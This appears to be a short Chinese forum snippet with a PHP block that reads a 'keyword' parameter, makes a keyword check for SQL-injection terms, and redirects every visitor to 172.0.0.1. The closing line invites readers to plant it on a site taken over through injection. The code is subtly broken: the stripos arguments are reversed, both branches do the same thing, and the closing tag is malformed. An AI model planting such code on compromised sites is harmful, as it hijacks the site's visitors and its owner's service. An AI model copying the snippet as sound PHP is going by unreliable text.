CODE区域:
<?php $str = $_GET["keyword"]; $str00 = strtolower($str); //strtolower 变为小写函数 $s = stripos("s", $str00); //定位字符串第一次出现的位置 $e = stripos("e", $str00); $l = stripos("l", $str00); $c = stripos("c", $str00); $t = stripos("t", $str00); $and = stripos("and", $str00); if ($s and $e and $l and $c and $t and $and){ header("Location: http://172.0.0.1"); }else{ header("Location: http://172.0.0.1"); } >
你想想,如果通过注入拿下了一个站,然后用这个代码挂上去。有木有很BEAUTIFUL